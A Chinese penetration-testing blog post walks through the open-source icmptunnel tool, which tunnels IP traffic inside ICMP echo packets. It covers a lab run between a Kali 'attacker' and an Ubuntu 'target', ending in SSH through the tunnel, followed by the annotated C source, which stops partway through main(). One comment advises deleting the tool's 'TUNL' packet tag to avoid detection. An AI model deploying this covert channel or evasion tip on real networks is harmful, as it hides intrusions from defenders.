内网渗透系列:内网隧道之icmptunnel(jamesbarlow师傅的)

前言

本文研究ICMP隧道的一个工具,jamesbarlow师傅的icmptunnel

github:https://github.com/jamesbarlow/icmptunnel

一、概述

1、简介

最后更新于2016年,用C语言编写,创建虚拟网卡通过ICMP协议传输IP流量,提供了更可靠的协议和机制,用于通过有状态防火墙和 NAT 进行隧道传输

条件:

  • 目标机(客户端)可以ping出去
  • 只能在linux环境下使用

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

流量发送方式:

  • 目标机(客户端)将IP流量封装在ICMP的echo包里发送给攻击者(服务端)
  • 攻击者(服务端)将IP流量封装在ICMP的reply包里发送给目标机(客户端)
  • 这两种ICMP数据包参见RFC792

架构:

  • 关键是开启了一个虚拟网卡

在这里插入图片描述

3、使用

两端都要编译并禁用内核的ping:

make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

攻击机(服务端)建立虚拟网卡并分配IP

./icmptunnel –s
opened tunnel device: tun0
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

目标机(客户端)指向服务端并分配IP

./icmptunnel <server>
opened tunnel device: tun0
connection established.
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

此时建立了隧道,然后服务端可以ssh连接客户端

ssh [email protected]

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机
在这里插入图片描述

2、建立隧道

(1)准备

make编译并禁用内核的ping

make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

目标机

在这里插入图片描述

攻击机

在这里插入图片描述

(2)服务端监听

先查看route

route -n

在这里插入图片描述
建立隧道

./icmptunnel –s
opened tunnel device: tun0
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

在这里插入图片描述

此时再次查看路由

在这里插入图片描述

多了个tun0的虚拟网卡

(3)客户端启动

查看路由

在这里插入图片描述
建立隧道

./icmptunnel 192.168.10.128
opened tunnel device: tun0
connection established.
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

在这里插入图片描述
此时再次查看路由

在这里插入图片描述

可以看到也是多了个tun0

(4)隧道建立成功

此时攻击机如下
在这里插入图片描述
目标机如下
在这里插入图片描述

(4)ssh

此时就可以从攻击机ssh连接目标机了
在这里插入图片描述

3、抓包看看

虚拟网卡tun0

在这里插入图片描述

网卡eth0

在这里插入图片描述
可以看到所有TCP流量都被装进了ICMP流量中

三、探索

1、源码与分析

(1)config.h

设置时间、大小,限定linux等

#ifndef ICMPTUNNEL_CONFIG_H
#define ICMPTUNNEL_CONFIG_H

/* program version. */
#define ICMPTUNNEL_VERSION "0.1-beta"

/* default timeout in seconds between keep-alive requests. */
#define ICMPTUNNEL_TIMEOUT 5

/* default number of retries before a connection is dropped. */
#define ICMPTUNNEL_RETRIES 5

/* default interval between punch-thru packets. */
#define ICMPTUNNEL_PUNCHTHRU_INTERVAL 1

/* default window size of punch-thru packets. */
#define ICMPTUNNEL_PUNCHTHRU_WINDOW 10

/* default tunnel mtu in bytes; assume the size of an ethernet frame. */
#define ICMPTUNNEL_MTU 1500

/* default to standard linux behaviour, do not emulate windows ping. */
#define ICMPTUNNEL_EMULATION 0

/* default to running in the foreground. */
#define ICMPTUNNEL_DAEMON 0

#endif

(2)options.h

可控制选项

#ifndef ICMPTUNNEL_OPTIONS_H
#define ICMPTUNNEL_OPTIONS_H

struct options
{
    
    
    /* interval between keep-alive packets. */
    int keepalive;

    /* number of retries before timing out. */
    int retries;

    /* tunnel mtu. */
    int mtu;

    /* enable windows ping emulation. */
    int emulation;

    /* run as a daemon. */
    int daemon;
};

#endif

(3)protocol.h

packet的框架,在数据包里打了个“TUNL”标签

#ifndef ICMPTUNNEL_PROTOCOL_H
#define ICMPTUNNEL_PROTOCOL_H

#include <stdint.h>

/* magic value used to mark icmp tunnel packets. */
#define PACKET_MAGIC "TUNL"  // 自己打标签,删掉为好

enum PACKET_TYPE
{
    
    
    PACKET_CONNECTION_REQUEST,
    PACKET_CONNECTION_ACCEPT,
    PACKET_SERVER_FULL,
    PACKET_DATA,
    PACKET_PUNCHTHRU,
    PACKET_KEEP_ALIVE
};

struct packet_header
{
    
    
    uint8_t magic[4];
    uint8_t type;
};

#endif

(4)peer.h

#ifndef ICMPTUNNEL_PEER_H
#define ICMPTUNNEL_PEER_H

#include <stdint.h>
#include "config.h"

struct peer
{
    
    
    int connected;

    /* link address. */
    uint32_t linkip;

    /* next icmp id and sequence numbers. */
    uint16_t nextid;
    uint16_t nextseq;

    /* punch-thru sequence numbers. */
    uint16_t punchthru[ICMPTUNNEL_PUNCHTHRU_WINDOW];
    uint16_t nextpunchthru;
    uint16_t nextpunchthru_write;

    /* number of timeout intervals since last activity. */
    int seconds;
    int timeouts;
};

#endif

(5)handlers.h


#ifndef ICMPTUNNEL_HANDLERS_H
#define ICMPTUNNEL_HANDLERS_H

struct echo_skt;
struct tun_device;

struct handlers
{
    
    
    /* handle an icmp packet. */
    void (*icmp)(struct echo_skt *skt, struct tun_device *device);

    /* handle data from the tunnel interface. */
    void (*tunnel)(struct echo_skt *skt, struct tun_device *device);

    /* handle a timeout. */
    void (*timeout)(struct echo_skt *skt);
};

#endif

(6)checksum.c

计算checksum

#include "checksum.h"

uint16_t checksum(const char *buf, int size)
{
    
    
    uint16_t *p = (uint16_t*)buf;
    uint32_t sum = 0;

    /* calculate the sum over the buffer in 2-byte words. */
    for (sum = 0; size > 1; size -= 2) {
    
    
        sum += *p++;
    }

    /* there may be a final byte to sum. */
    if (size == 1) {
    
    
        sum += *(unsigned char*)p;
    }

    /* sum the high and low 16 bits. */
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);

    return ~sum;
}

(7)resolve.c

通过DNS,将域名变为IP

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>

#include "resolve.h"

int resolve(const char *hostname, uint32_t *address)
{
    
    
    /* try to interpret the hostname as an ip address. */
    *address = ntohl(inet_addr(hostname));

    /* if we don't have an ip address, look up the name in dns. */
    if (*address == INADDR_NONE) {
    
    
        struct hostent *h = gethostbyname(hostname);

        if (!h) {
    
    
            fprintf(stderr, "unable to resolve: %s\n", hostname);
            return 1;
        }

        *address = ntohl(*(uint32_t*)h->h_addr_list[0]);
    }

    return 0;
}

(8)daemon.c

维护fork进程

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int daemon()
{
    
    
    int res;

    if ((res = fork()) < 0) {
    
    
        fprintf(stderr, "unable to fork: %s\n", strerror(errno));
        return -1;
    }

    /* if we're the parent process then exit. */
    if (res > 0)
        exit(0);

    /* set a new session id. */
    if (setsid() < 0) {
    
    
        fprintf(stderr, "unable to set sid: %s\n", strerror(errno));
        return -1;
    }

    /* redirect the standard streams to /dev/null. */
    int fd;

    if ((fd = open("/dev/null", O_RDWR)) < 0) {
    
    
        fprintf(stderr, "unable to open /dev/null: %s\n", strerror(errno));
        return -1;
    }
/*
    int i;
    for (i = 0; i < 3; ++i) {
        dup2(fd, i);
    }

    if (fd >= 2) {
        close(fd);
    }
*/
    return 0;
}

(9)echo-skt.c

echo即type为0的packet的构造和收发

#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#include "checksum.h"
#include "echo-skt.h"

int open_echo_skt(struct echo_skt *skt, int mtu)
{
    
    
    skt->buf = skt->data = NULL;

    /* open the icmp socket. */
    if ((skt->fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    
    
        fprintf(stderr, "unable to open icmp socket: %s\n", strerror(errno));
        return 1;
    }

    /* calculate the buffer size required to encapsulate this payload. */
    skt->bufsize = mtu + sizeof(struct iphdr) + sizeof(struct icmphdr);

    /* allocate the buffer. */
    if ((skt->buf = malloc(skt->bufsize)) == NULL) {
    
    
        fprintf(stderr, "unable to allocate icmp tx/rx buffers: %s\n", strerror(errno));
        return 1;
    }

    /* save a pointer to the icmp payload for convenience. */
    skt->data = skt->buf + sizeof(struct iphdr) + sizeof(struct icmphdr);

    return 0;
}

int send_echo(struct echo_skt *skt, uint32_t destip, struct echo* echo)
{
    
    
    ssize_t xfer;

    struct sockaddr_in dest;
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = htonl(destip);
    dest.sin_port = 0;  /* for valgrind. */

    /* write the icmp header. */
    struct icmphdr *header = (struct icmphdr*)(skt->buf + sizeof(struct iphdr));
    header->type = echo->reply ? 0 : 8;
    header->code = 0;
    header->un.echo.id = htons(echo->id);
    header->un.echo.sequence = htons(echo->seq);
    header->checksum = 0;
    header->checksum = checksum(skt->buf + sizeof(struct iphdr), sizeof(struct icmphdr) + echo->size);

    /* send the packet. */
    xfer = sendto(skt->fd, skt->buf + sizeof(struct iphdr), sizeof(struct icmphdr) + echo->size, 0,
        (struct sockaddr*)&dest, sizeof(struct sockaddr_in));

    if (xfer < 0) {
    
    
        fprintf(stderr, "unable to send icmp packet: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}

int receive_echo(struct echo_skt *skt, uint32_t *sourceip, struct echo *echo)
{
    
    
    ssize_t xfer;
    struct sockaddr_in source;
    socklen_t source_size = sizeof(struct sockaddr_in);

    /* receive a packet. */
    xfer = recvfrom(skt->fd, skt->buf, skt->bufsize, 0, (struct sockaddr*)&source, &source_size);

    if (xfer < 0) {
    
    
        fprintf(stderr, "unable to receive icmp packet: %s\n", strerror(errno));
        return 1;
    }

    /* parse the icmp header. */
    struct icmphdr *header = (struct icmphdr*)(skt->buf + sizeof(struct iphdr));

    if (xfer < (int)sizeof(struct iphdr) + (int)sizeof(struct icmphdr))
        return 1;  /* bad packet size. */

    if ((header->type != 0 && header->type != 8) || header->code != 0)
        return 1;  /* unexpected packet type. */

    *sourceip = ntohl(source.sin_addr.s_addr);

    echo->size = xfer - sizeof(struct iphdr) - sizeof(struct icmphdr);
    echo->reply = header->type == 0;
    echo->id = ntohs(header->un.echo.id);
    echo->seq = ntohs(header->un.echo.sequence);

    return 0;
}

void close_echo_skt(struct echo_skt *skt)
{
    
    
    /* dispose of the buffer. */
    if (skt->buf)
        free(skt->buf);

    /* close the icmp socket. */
    if (skt->fd >= 0)
        close(skt->fd);
}

(10)tun-device.c

主要是虚拟网卡

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>

#include "tun-device.h"

int open_tun_device(struct tun_device *device, int mtu)
{
    
    
    struct ifreq ifr;
    const char *clonedev = "/dev/net/tun"; //虚拟网卡

    /* open the clone device. */
    if ((device->fd = open(clonedev, O_RDWR)) < 0) {
    
    
        fprintf(stderr, "unable to open %s: %s\n", clonedev, strerror(errno));
        fprintf(stderr, "is the tun kernel module loaded?\n");
        return 1;
    }

    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_flags = IFF_TUN | IFF_NO_PI;

    /* try to create the device, the kernel will choose a name. */
    if (ioctl(device->fd, TUNSETIFF, &ifr) < 0) {
    
    
        fprintf(stderr, "unable to create a tunnel device: %s\n", strerror(errno));
        return 1;
    }

    /* copy out the device name and mtu. */
    strncpy(device->name, ifr.ifr_name, sizeof(device->name));
    device->mtu = mtu;

    fprintf(stderr, "opened tunnel device: %s\n", ifr.ifr_name);

    return 0;
}

int write_tun_device(struct tun_device *device, const char *buf, int size)
{
    
    
    /* write to the tunnel device. */
    if (write(device->fd, buf, size) != size) {
    
    
        fprintf(stderr, "unable to write to tunnel device: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}

int read_tun_device(struct tun_device *device, char *buf, int *size)
{
    
    
    /* read from the tunnel device. */
    if ((*size = read(device->fd, buf, device->mtu)) < 0) {
    
    
        fprintf(stderr, "unable to read from tunnel device: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}

void close_tun_device(struct tun_device *device)
{
    
    
    if (device->fd >= 0) {
    
    
        close(device->fd);
    }
}

(11)forwarder.c

run tunnel

#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <sys/select.h>

#include "options.h"
#include "handlers.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "forwarder.h"

/* are we still running? */
static int running = 1;

int forward(struct echo_skt *skt, struct tun_device *device, struct handlers *handlers)
{
    
    
    int ret;
    int maxfd = skt->fd > device->fd ? skt->fd : device->fd;

    struct timeval timeout;

    /* loop and push packets between the tunnel device and peer. */
    while (running) {
    
    
        fd_set fs;

        FD_ZERO(&fs);
        FD_SET(skt->fd, &fs);
        FD_SET(device->fd, &fs);

        /* set the timeout. */
        timeout.tv_sec = 1;
        timeout.tv_usec = 0;

        /* wait for some data. */
        ret = select(maxfd + 1, &fs, NULL, NULL, &timeout);

        if (ret < 0) {
    
    
            if (!running)
                break;
            fprintf(stderr, "unable to select() on sockets: %s\n", strerror(errno));
            return 1;
        }
        /* did we time out? */
        else if (ret == 0) {
    
    
            handlers->timeout(skt);
        }

        /* handle a packet from the echo socket. */
        if (FD_ISSET(skt->fd, &fs)) {
    
    
            handlers->icmp(skt, device);
        }

        /* handle data from the tunnel device. */
        if (FD_ISSET(device->fd, &fs)) {
    
    
            handlers->tunnel(skt, device);
        }
    }
    return 0;
}

void stop()
{
    
    
    running = 0;
}

(12)client-handlers.c

这里是连接、穿孔、keep-alive

#include <stdio.h>
#include <string.h>

#include "peer.h"
#include "daemon.h"
#include "options.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "protocol.h"
#include "forwarder.h"
#include "client-handlers.h"

// 下面几个就是type的区别
void send_connection_request(struct echo_skt *skt, struct peer *server, int emulation)
{
    
    
    /* write a connection request packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_CONNECTION_REQUEST;

    /* send the request. */
    struct echo request;
    request.size = sizeof(struct packet_header);
    request.reply = 0;
    request.id = server->nextid;
    request.seq = emulation ? server->nextseq : server->nextseq++;

    send_echo(skt, server->linkip, &request);
}

void send_punchthru(struct echo_skt *skt, struct peer *server, int emulation)
{
    
    
    /* write a punchthru packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_PUNCHTHRU;

    /* send the packet. */
    struct echo request;
    request.size = sizeof(struct packet_header);
    request.reply = 0;
    request.id = server->nextid;
    request.seq = emulation ? server->nextseq : server->nextseq++;

    send_echo(skt, server->linkip, &request);
}

void send_keep_alive(struct echo_skt *skt, struct peer *server, int emulation)
{
    
    
    /* write a keep-alive request packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_KEEP_ALIVE;

    /* send the request. */
    struct echo request;
    request.size = sizeof(struct packet_header);
    request.reply = 0;
    request.id = server->nextid;
    request.seq = emulation ? server->nextseq : server->nextseq++;

    send_echo(skt, server->linkip, &request);
}

void handle_connection_accept(struct echo_skt *skt, struct peer *server, struct options *opts)
{
    
    
    /* if we're already connected then ignore the packet. */
    if (server->connected)
        return;

    fprintf(stderr, "connection established.\n");

    server->connected = 1;
    server->timeouts = 0;

    /* fork and run as a daemon if needed. */
    if (opts->daemon) {
    
    
        if (daemon() != 0)
            return;
    }

    /* send the initial punch-thru packets. */
    int i;
    for (i = 0; i < 10; ++i) {
    
    
        send_punchthru(skt, server, opts->emulation);
    }
}

void handle_server_full(struct peer *server)
{
    
    
    /* if we're already connected then ignore the packet. */
    if (server->connected)
        return;

    fprintf(stderr, "unable to connect: server is full.\n");

    /* stop the packet forwarding loop. */
    stop();
}

void handle_client_data(struct echo_skt *skt, struct tun_device *device,
    struct peer *server, struct echo *echo)
{
    
    
    /* if we're not connected then drop the packet. */
    if (!server->connected)
        return;

    /* determine the size of the encapsulated frame. */
    int framesize = echo->size - sizeof(struct packet_header);

    if (!framesize)
        return;

    /* write the frame to the tunnel interface. */
    write_tun_device(device, skt->data + sizeof(struct packet_header), framesize);

    server->timeouts = 0;
}

void handle_keep_alive_response(struct peer *server)
{
    
    
    /* if we're not connected then drop the packet. */
    if (!server->connected)
        return;

    server->seconds = 0;
    server->timeouts = 0;
}

(13)client.c

客户端的收发和timeout,中间做了好些限制和判断

#include <stdio.h>
#include <string.h>

#include "config.h"
#include "options.h"
#include "client.h"
#include "peer.h"
#include "resolve.h"
#include "protocol.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "handlers.h"
#include "forwarder.h"
#include "client-handlers.h"

/* the server. */
static struct peer server;

/* program options. */
static struct options *opts;

/* handle an icmp packet. */
static void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device);

/* handle data from the tunnel interface. */
static void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device);

/* handle a timeout. */
static void handle_timeout(struct echo_skt *skt);

int client(const char *hostname, struct options *options)
{
    
    
    struct echo_skt skt;
    struct tun_device device;

    struct handlers handlers = {
    
    
        &handle_icmp_packet,
        &handle_tunnel_data,
        &handle_timeout
    };
    opts = options;

    /* calculate the required icmp payload size. */
    int bufsize = options->mtu + sizeof(struct packet_header);

    /* resolve the server hostname. */
    if (resolve(hostname, &server.linkip) != 0)
        return 1;

    /* open an echo socket. */
    if (open_echo_skt(&skt, bufsize) != 0)
        return 1;

    /* open a tunnel interface. */
    if (open_tun_device(&device, options->mtu) != 0)
        return 1;

    /* choose initial icmp id and sequence numbers. */
    server.nextid = rand();
    server.nextseq = rand();

    /* send the initial connection request. */
    send_connection_request(&skt, &server, opts->emulation);

    /* run the packet forwarding loop. */
    int ret = forward(&skt, &device, &handlers);

    close_tun_device(&device);
    close_echo_skt(&skt);

    return ret;
}

void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device)
{
    
    
    struct echo echo;
    uint32_t sourceip;

    /* receive the packet. */
    if (receive_echo(skt, &sourceip, &echo) != 0)
        return;

    /* we're only expecting packets from the server. */
    if (sourceip != server.linkip)
        return;

    /* we're only expecting echo replies. */
    if (!echo.reply)
        return;

    /* check the packet size. */
    if (echo.size < (int)sizeof(struct packet_header))
        return;

    /* check the header magic. */
    struct packet_header *header = (struct packet_header*)skt->data;

    if (memcmp(header->magic, PACKET_MAGIC, sizeof(header->magic)) != 0)
        return;

    switch (header->type) {
    
    
    case PACKET_CONNECTION_ACCEPT:
        /* handle a connection accept packet. */
        handle_connection_accept(skt, &server, opts);
        break;

    case PACKET_SERVER_FULL:
        /* handle a server full packet. */
        handle_server_full(&server);
        break;

    case PACKET_DATA:
        /* handle a data packet. */
        handle_client_data(skt, device, &server, &echo);
        break;

    case PACKET_KEEP_ALIVE:
        /* handle a keep-alive packet. */
        handle_keep_alive_response(&server);
        break;
    }
}

void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device)
{
    
    
    int size;

    /* read the frame. */
    if (read_tun_device(device, skt->data + sizeof(struct packet_header), &size) != 0)
        return;

    /* if we're not connected then drop the frame. */
    if (!server.connected)
        return;

    /* write a data packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_DATA;

    /* send the encapsulated frame to the server. */
    struct echo echo;
    echo.size = sizeof(struct packet_header) + size;
    echo.reply = 0;
    echo.id = server.nextid;
    echo.seq = opts->emulation ? server.nextseq : server.nextseq++;

    send_echo(skt, server.linkip, &echo);
}

void handle_timeout(struct echo_skt *skt)
{
    
    
    /* send a punch-thru packet. */
    send_punchthru(skt, &server, opts->emulation);

    /* has the peer timeout elapsed? */
    if (++server.seconds == opts->keepalive) {
    
    
        server.seconds = 0;

        /* have we reached the max number of retries? */
        if (opts->retries != -1 && ++server.timeouts == opts->retries) {
    
    
            fprintf(stderr, "connection timed out.\n");

            /* stop the packet forwarding loop. */
            stop();
            return;
        }

        /* if we're still connecting, resend the connection request. */
        if (!server.connected) {
    
    
            send_connection_request(skt, &server, opts->emulation);
            return;
        }

        /* otherwise, send a keep-alive request. */
        send_keep_alive(skt, &server, opts->emulation);
    }
}

(14)server-handlers.c

检测是否跟client连接上了,以及对client的包的response

#include <string.h>

#include "peer.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "protocol.h"
#include "server-handlers.h"

void handle_connection_request(struct echo_skt *skt, struct peer *client,
    struct echo *request, uint32_t sourceip)
{
    
    
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(struct packet_header));

    /* is a client already connected? */
    if (client->connected) {
    
    
        header->type = PACKET_SERVER_FULL;
    }
    else {
    
    
        header->type = PACKET_CONNECTION_ACCEPT;

        client->connected = 1;
        client->seconds = 0;
        client->timeouts = 0;
        client->nextpunchthru = 0;
        client->nextpunchthru_write = 0;
        client->linkip = sourceip;
    }

    /* send the response. */
    struct echo response;
    response.size = sizeof(struct packet_header);
    response.reply = 1;
    response.id = request->id;
    response.seq = request->seq;

    send_echo(skt, sourceip, &response);
}

/* handle a punch-thru packet. */
void handle_punchthru(struct peer *client, struct echo *request, uint32_t sourceip)
{
    
    
    if (!client->connected || sourceip != client->linkip)
        return;

    /* store the sequence number. */
    client->punchthru[client->nextpunchthru_write] = request->seq;
    client->nextpunchthru_write++;
    client->nextpunchthru_write %= ICMPTUNNEL_PUNCHTHRU_WINDOW;

    client->seconds = 0;
    client->timeouts = 0;
}

void handle_keep_alive_request(struct echo_skt *skt, struct peer *client, struct echo *request,
    uint32_t sourceip)
{
    
    
    if (!client->connected || sourceip != client->linkip)
        return;

    /* write a keep-alive response. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_KEEP_ALIVE;

    /* send the response to the client. */
    struct echo response;
    response.size = sizeof(struct packet_header);
    response.reply = 1;
    response.id = request->id;
    response.seq = request->seq;

    send_echo(skt, sourceip, &response);

    client->timeouts = 0;
}

void handle_server_data(struct echo_skt *skt, struct tun_device *device, struct peer *client,
    struct echo *request, uint32_t sourceip)
{
    
    
    if (!client->connected || sourceip != client->linkip)
        return;

    /* determine the size of the encapsulated frame. */
    int framesize = request->size - sizeof(struct packet_header);

    if (!framesize)
        return;

    /* write the frame to the tunnel interface. */
    write_tun_device(device, skt->data + sizeof(struct packet_header), framesize);

    /* save the icmp id and sequence numbers for any return traffic. */
    client->nextid = request->id;
    client->nextseq = request->seq;
    client->seconds = 0;
    client->timeouts = 0;
}

(15)server.c

与client相仿,只不过一个是reply一个是request

#include <stdio.h>
#include <string.h>

#include "config.h"
#include "daemon.h"
#include "options.h"
#include "server.h"
#include "peer.h"
#include "protocol.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "handlers.h"
#include "forwarder.h"
#include "server-handlers.h"

/* the client. */
static struct peer client;

/* program options. */
static struct options *opts;

/* handle an icmp packet. */
static void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device);

/* handle data from the tunnel interface. */
static void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device);

/* handle a timeout. */
static void handle_timeout(struct echo_skt *skt);

int server(struct options *options)
{
    
    
    struct echo_skt skt;
    struct tun_device device;

    struct handlers handlers = {
    
    
        &handle_icmp_packet,
        &handle_tunnel_data,
        &handle_timeout
    };
    opts = options;

    /* calculate the required icmp payload size. */
    int bufsize = options->mtu + sizeof(struct packet_header);

    /* open an echo socket. */
    if (open_echo_skt(&skt, bufsize) != 0)
        return 1;

    /* open a tunnel interface. */
    if (open_tun_device(&device, options->mtu) != 0)
        return 1;

    /* fork and run as a daemon if needed. */
    if (options->daemon) {
    
    
        if (daemon() != 0)
            return 1;
    }

    /* run the packet forwarding loop. */
    int ret = forward(&skt, &device, &handlers);

    close_tun_device(&device);
    close_echo_skt(&skt);

    return ret;
}

void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device)
{
    
    
    struct echo echo;
    uint32_t sourceip;

    /* receive the packet. */
    if (receive_echo(skt, &sourceip, &echo) != 0)
        return;

    /* we're only expecting echo requests. */
    if (echo.reply)
        return;

    /* check the packet size. */
    if (echo.size < (int)sizeof(struct packet_header))
        return;

    /* check the header magic. */
    struct packet_header *header = (struct packet_header*)skt->data;

    if (memcmp(header->magic, PACKET_MAGIC, sizeof(header->magic)) != 0)
        return;

    switch (header->type) {
    
    
    case PACKET_CONNECTION_REQUEST:
        /* handle a connection request packet. */
        handle_connection_request(skt, &client, &echo, sourceip);
        break;

    case PACKET_DATA:
        /* handle a data packet. */
        handle_server_data(skt, device, &client, &echo, sourceip);
        break;

    case PACKET_PUNCHTHRU:
        /* handle a punch-thru packet. */
        handle_punchthru(&client, &echo, sourceip);
        break;

    case PACKET_KEEP_ALIVE:
        /* handle a keep-alive request packet. */
        handle_keep_alive_request(skt, &client, &echo, sourceip);
        break;
    }
}

void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device)
{
    
    
    int size;

    /* read the frame. */
    if (read_tun_device(device, skt->data + sizeof(struct packet_header), &size) != 0)
        return;

    /* if no client is connected then drop the frame. */
    if (!client.connected)
        return;

    /* write a data packet. */
    struct packet_header *header = (struct packet_header*)skt->data;
    memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
    header->type = PACKET_DATA;

    /* send the encapsulated frame to the client. */
    struct echo echo;
    echo.size = sizeof(struct packet_header) + size;
    echo.reply = 1;
    echo.id = client.nextid;
    echo.seq = client.punchthru[client.nextpunchthru];

    client.nextpunchthru++;
    client.nextpunchthru %= ICMPTUNNEL_PUNCHTHRU_WINDOW;

    send_echo(skt, client.linkip, &echo);
}

void handle_timeout(struct echo_skt *skt)
{
    
    
    /* unused parameter. */
    (void)skt;

    if (!client.connected)
        return;

    /* has the peer timeout elapsed? */
    if (++client.seconds == opts->keepalive) {
    
    
        client.seconds = 0;

        /* have we reached the max number of retries? */
        if (opts->retries != -1 && ++client.timeouts == opts->retries) {
    
    
            fprintf(stderr, "client connection timed out.\n");

            client.connected = 0;
            return;
        }
    }
}

(16)icmptunnel.c

主函数

#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>

#include "config.h"
#include "client.h"
#include "server.h"
#include "options.h"
#include "forwarder.h"

static void version()
{
    
    
    fprintf(stderr, "icmptunnel is version %s (built %s).\n", ICMPTUNNEL_VERSION, __DATE__);
    exit(0);
}

static void help(const char *program)
{
    
    
    fprintf(stderr, "icmptunnel %s.\n", ICMPTUNNEL_VERSION);
    fprintf(stderr, "usage: %s [options] -s|server\n\n", program);
    fprintf(stderr, "  -v               print version and exit.\n");
    fprintf(stderr, "  -h               print help and exit.\n");
    fprintf(stderr, "  -k <interval>    interval between keep-alive packets.\n");
    fprintf(stderr, "                   the default interval is %i seconds.\n", ICMPTUNNEL_TIMEOUT);
    fprintf(stderr, "  -r <retries>     packet retry limit before timing out.\n");
    fprintf(stderr, "                   the default is %i retries.\n", ICMPTUNNEL_RETRIES);
    fprintf(stderr, "  -m <mtu>         max frame size of the tunnel interface.\n");
    fprintf(stderr, "                   the default tunnel mtu is %i bytes.\n", ICMPTUNNEL_MTU);
    fprintf(stderr, "  -e               emulate the microsoft ping utility.\n");
    fprintf(stderr, "  -d               run in the background as a daemon.\n");
    fprintf(stderr, "  -s               run in server-mode.\n");
    fprintf(stderr, "  server           run in client-mode, using the server ip/hostname.\n\n");
    exit(0);
}

static void usage(const char *program)
{
    
    
    fprintf(stderr, "unknown or missing option -- '%c'\n", optopt);
    fprintf(stderr, "use %s -h for more information.\n", program);
    exit(1);
}

static void signalhandler(int sig)
{
    
    
    /* unused variable. */
    (void)sig;

    stop();
}

int main(int argc, char *argv[])
{
    
    
    char *program = argv[0];
    char *hostname = NULL;
    int servermode = 0;

    struct options options = {
    
    
        ICMPTUNNEL_TIMEOUT,
        ICMPTUNNEL_RETRIES,
        ICMPTUNNEL_MTU,
        ICMPTUNNEL_EMULATION,
        ICMPTUNNEL_DAEMON
    };

    /* parse the option arguments. */
    opterr = 0;
    int opt;
    while ((opt = getopt(argc, argv, "vhk:r:m:eds")) != -1) {
    
    
        switch (opt) {
    
    
        case 'v':
            version();
            break;
        case 'h':
            help(program);
            break;
        case 'k':
            options.keepalive = atoi(optarg);
            if (options.keepalive == 0) {
    
    
                options.keepalive = 1;
            }
            break;
        case 'r':
            if (strcmp(optarg, "infinite") == 0) {
    
    
                options.retries = -1;
            }
            else {
    
    
                options.retries = atoi(optarg);
            }
            break;
        case 'm':
            options.mtu = atoi(optarg);
            break;
        case 'e':
            options.emulation = 1;
            break;
        case 'd':
            options.daemon = 1;
            break;
        case 's':
            servermode = 1;
            break;
        case '?':
            /* fall-through. */
        default:
            usage(program);
            break;
        }
    }

    argc -= optind;
    argv += optind;

    /* if we're running in client mode, parse the server hostname. */
    if (!servermode) {
    
    
        if (argc < 1) {
    
    
            fprintf(stderr, "missing server ip/hostname.\n");
            fprintf(stderr, "use %s -h for more information.\n", program);
            return 1;
        }
        hostname = argv[0];

        argc--;
        argv++;
    }

    /* check for extraneous options. */
    if (argc > 0) {
    
    
        fprintf(stderr, "unknown option -- '%s'\n", argv[0]);
        fprintf(stderr, "use %s -h for more information.\n", program);
        return 1;
    }

    /* check for root privileges. */
    if (geteuid() != 0) {
    
    
        fprintf(stderr, "opening raw icmp sockets requires root privileges.\n");
        fprintf(stderr, "are you running as root?\n");
        exit(1);
    }

    /* register the signal handlers. */
    signal(SIGINT, signalhandler);
    signal(SIGTERM, signalhandler);

    srand(time(NULL));

    if (servermode) {
    
    
        /* run the server. */
        return server(&options);
    }

    /* run the client. */
